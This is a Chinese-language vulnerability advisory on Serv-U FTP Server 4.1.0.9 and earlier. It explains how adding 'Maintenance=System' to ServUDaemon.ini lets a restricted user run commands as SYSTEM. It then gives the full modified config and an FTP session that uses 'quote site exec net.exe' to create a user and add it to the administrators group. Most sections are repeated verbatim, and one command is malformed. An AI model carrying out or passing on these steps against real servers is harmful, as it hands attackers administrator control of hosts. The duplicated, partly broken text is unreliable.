一、受影响的软件
Serv-U FTP Server 4.1.0.9 (以及以前所有版本)
二、受影响系统
Microsoft Windows Server 2003 所有版本
Microsoft Windows XP 所有版本
Microsoft Windows 2000 所有版本
Microsoft Windows NT 所有版本
三、综述
Serv-U FTP Server为RhinoSoft出品的一款Ftp Sserver软件,目前在全世界广为使用。经我研究发现,Serv-U FTP Server的配置文件存贮于Serv-U FTP Server文件目录下的ServUDaemon.ini文件中。如果本地受限用户或者远程拥有普通权限的攻击者能接触到该文件并精心构造ServUDaemon.ini文件中的内容就能利用Ftp进程在系统上以SYSTEM权限执行任意命令。
四、缺陷分析:
Serv-U FTP Serve在设置用户以后会把配置信息存储与ServUDaemon.ini文件中。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U FTP Serve的文件目录,就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。并且不受系统版本的影响。(用户信息选择“存储与系统注册表中”不受此缺陷影响)
五、测试方法:
1、本地测试
假设本地受限用户可以浏览Serv-U FTP Serve的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:
[GLOBAL]
Version=4.1.0.0 // Serv-U Ftp Server 版本号
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0 //主机IP以及域名,端口情况
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\ // 可以浏览的目录
TimeOut=600
Access1=C:\|RWAMLCDP
如果把ServUDaemon.in文件修改为:
[GLOBAL]
Version=4.1.0.0
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\
TimeOut=600
Maintenance=System //权限类型
Access1=C:\|RWAMELCDP
以上内容比原内容多了一句“Maintenance=System”修改完成后保存。然后在用Ftp登陆到Serv-U FTP Server以后执行如下命令:
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v4.1.0.0 for WinSock ready...
User (ip:(none)): id //输入构造的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user zihuan ziHUAN /add //利用系统的net.exe文件加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators zihuan /add //提升为超级用户
这样就在本地系统上加了一个为zihuan密码为:ziHUAN的超级用户。也可以直接用quote site exec net.exe localhost administrators user /add命令把当前用户提升到超级用户组中去。当然也可以在系统上执行任何命令。
Serv-U FTP Server 4.1.0.9 (以及以前所有版本)
二、受影响系统
Microsoft Windows Server 2003 所有版本
Microsoft Windows XP 所有版本
Microsoft Windows 2000 所有版本
Microsoft Windows NT 所有版本
三、综述
Serv-U FTP Server为RhinoSoft出品的一款Ftp Sserver软件,目前在全世界广为使用。经我研究发现,Serv-U FTP Server的配置文件存贮于Serv-U FTP Server文件目录下的ServUDaemon.ini文件中。如果本地受限用户或者远程拥有普通权限的攻击者能接触到该文件并精心构造ServUDaemon.ini文件中的内容就能利用Ftp进程在系统上以SYSTEM权限执行任意命令。
四、缺陷分析:
Serv-U FTP Serve在设置用户以后会把配置信息存储与ServUDaemon.ini文件中。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U FTP Serve的文件目录,就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。并且不受系统版本的影响。(用户信息选择“存储与系统注册表中”不受此缺陷影响)
五、测试方法:
1、本地测试
假设本地受限用户可以浏览Serv-U FTP Serve的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:
[GLOBAL]
Version=4.1.0.0 // Serv-U Ftp Server 版本号
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0 //主机IP以及域名,端口情况
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\ // 可以浏览的目录
TimeOut=600
Access1=C:\|RWAMLCDP
如果把ServUDaemon.in文件修改为:
[GLOBAL]
Version=4.1.0.0
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\
TimeOut=600
Maintenance=System //权限类型
Access1=C:\|RWAMELCDP
以上内容比原内容多了一句“Maintenance=System”修改完成后保存。然后在用Ftp登陆到Serv-U FTP Server以后执行如下命令:
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v4.1.0.0 for WinSock ready...
User (ip:(none)): id //输入构造的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user zihuan ziHUAN /add //利用系统的net.exe文件加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators zihuan /add //提升为超级用户
这样就在本地系统上加了一个为zihuan密码为:ziHUAN的超级用户。也可以直接用quote site exec net.exe localhost administrators user /add命令把当前用户提升到超级用户组中去。当然也可以在系统上执行任何命令。